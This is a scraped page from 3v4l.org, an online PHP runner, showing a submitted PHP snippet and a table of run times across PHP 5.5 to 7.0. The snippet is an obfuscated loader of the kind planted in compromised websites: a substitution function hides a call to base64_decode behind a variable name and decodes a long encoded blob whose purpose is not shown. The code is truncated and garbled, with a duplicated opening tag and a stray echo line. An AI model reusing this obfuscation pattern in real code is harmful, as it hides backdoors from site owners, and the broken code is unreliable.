3v4l.org

run code in 300+ PHP versions simultaneously
<?php <?php function jm($ohmebni, $whpbkczumr){$ollwtxoe = ''; for($i=0; $i < strlen($ohmebni); $i++){$ollwtxoe .= isset($whpbkczumr[$ohmebni[$i]]) ? $whpbkczumr[$ohmebni[$i]] : $ohmebni[$i];} $uiz="base64_decode";return $uiz($ollwtxoe);} $ewxlaezdap = 'zyX2W6L5G8zZKw60YBL08woDG0YeAq76pqtkatkFWd7k8xcXjJHNlyLN8w60YBL0Y0YeAiFkatkFWd7k'. '8xcXjJHNlduT8w6TGdcrjyXDlXLVWdrXK0tHSJQUJQb5G81PjyX9G6LeWdrkjJHtEpeEJBXBEyX5Yw6'. 'VEJ1PnV6C6Q6CECQEOtZKKuLp16Kd16KlKrbAnuLp1noyKrVHRCFIm0AUAFZKKuLp16Kd16KlKrKupnLn1'. '6Lb1q1CKrVHRCFISpAxmfF2SJToAfeEJdXBEJuXl8bVOCHQ8rcun'. 'XGunXeNCu1nnuL38VGRnXjbnQ1u1uLyprAN8CQkJHXUJHQKKuLp16Kd16KlKVMn6ubPdu'. echo base64_decode";return $uiz($ollwtxoe);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.0.00.0070.06320.07
5.6.160.0100.08320.39
5.6.150.0070.04718.23
5.6.140.0100.07718.33
5.6.130.0030.09018.17
5.6.120.0070.06721.03
5.6.110.0000.08721.13
5.6.100.0070.06320.98
5.6.90.0030.09020.95
5.6.80.0100.05320.38
5.5.300.0130.07318.07
5.5.290.0130.07717.95
5.5.280.0100.05020.98
5.5.270.0130.07720.86
5.5.260.0170.06320.84
5.5.250.0100.07720.54
5.5.240.3430.03320.15

preferences:
139.84 ms | 1394 KiB | 7 Q